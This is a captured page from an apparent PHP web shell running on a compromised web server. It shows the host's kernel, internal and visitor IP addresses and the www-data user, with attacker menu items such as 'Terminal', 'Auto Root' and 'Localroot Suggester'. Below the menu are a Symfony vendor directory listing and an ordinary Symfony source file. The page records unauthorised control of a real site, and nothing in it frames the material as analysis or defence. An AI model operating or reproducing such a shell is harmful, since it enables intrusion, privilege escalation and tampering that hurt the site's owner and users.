Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
validator /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Constraints
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Context
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Mapping
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Resources
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Util
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Validator
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Violation
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
20.65
KB
-rwxrwxr-x
2026-03-26 15:58
Constraint.php
10.32
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintValidator.php
4.62
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintValidatorFactory.php
1.16
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintValidatorFactoryInterface.php
688
B
-rwxrwxr-x
2026-03-26 15:58
ConstraintValidatorInterface.php
760
B
-rwxrwxr-x
2026-03-26 15:58
ConstraintViolation.php
4.39
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintViolationInterface.php
4.38
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintViolationList.php
3.8
KB
-rwxrwxr-x
2026-03-26 15:58
ConstraintViolationListInterface.php
1.9
KB
-rwxrwxr-x
2026-03-26 15:58
ContainerConstraintValidatorFactory.php
1.98
KB
-rwxrwxr-x
2026-03-26 15:58
GroupProviderInterface.php
728
B
-rwxrwxr-x
2026-03-26 15:58
GroupSequenceProviderInterface.php
676
B
-rwxrwxr-x
2026-03-26 15:58
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-26 15:58
ObjectInitializerInterface.php
714
B
-rwxrwxr-x
2026-03-26 15:58
README.md
579
B
-rwxrwxr-x
2026-03-26 15:58
Validation.php
2.53
KB
-rwxrwxr-x
2026-03-26 15:58
ValidatorBuilder.php
13.67
KB
-rwxrwxr-x
2026-03-26 15:58
composer.json
2.17
KB
-rwxrwxr-x
2026-03-26 15:58
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator; use Psr\Container\ContainerInterface; use Symfony\Component\Validator\Exception\UnexpectedTypeException; use Symfony\Component\Validator\Exception\ValidatorException; /** * Uses a service container to create constraint validators. * * @author Kris Wallsmith <kris@symfony.com> */ class ContainerConstraintValidatorFactory implements ConstraintValidatorFactoryInterface { private ContainerInterface $container; private array $validators; public function __construct(ContainerInterface $container) { $this->container = $container; $this->validators = []; } /** * @throws ValidatorException When the validator class does not exist * @throws UnexpectedTypeException When the validator is not an instance of ConstraintValidatorInterface */ public function getInstance(Constraint $constraint): ConstraintValidatorInterface { $name = $constraint->validatedBy(); if (!isset($this->validators[$name])) { if ($this->container->has($name)) { $this->validators[$name] = $this->container->get($name); } else { if (!class_exists($name)) { throw new ValidatorException(\sprintf('Constraint validator "%s" does not exist or is not enabled. Check the "validatedBy" method in your constraint class "%s".', $name, get_debug_type($constraint))); } $this->validators[$name] = new $name(); } } if (!$this->validators[$name] instanceof ConstraintValidatorInterface) { throw new UnexpectedTypeException($this->validators[$name], ConstraintValidatorInterface::class); } return $this->validators[$name]; } }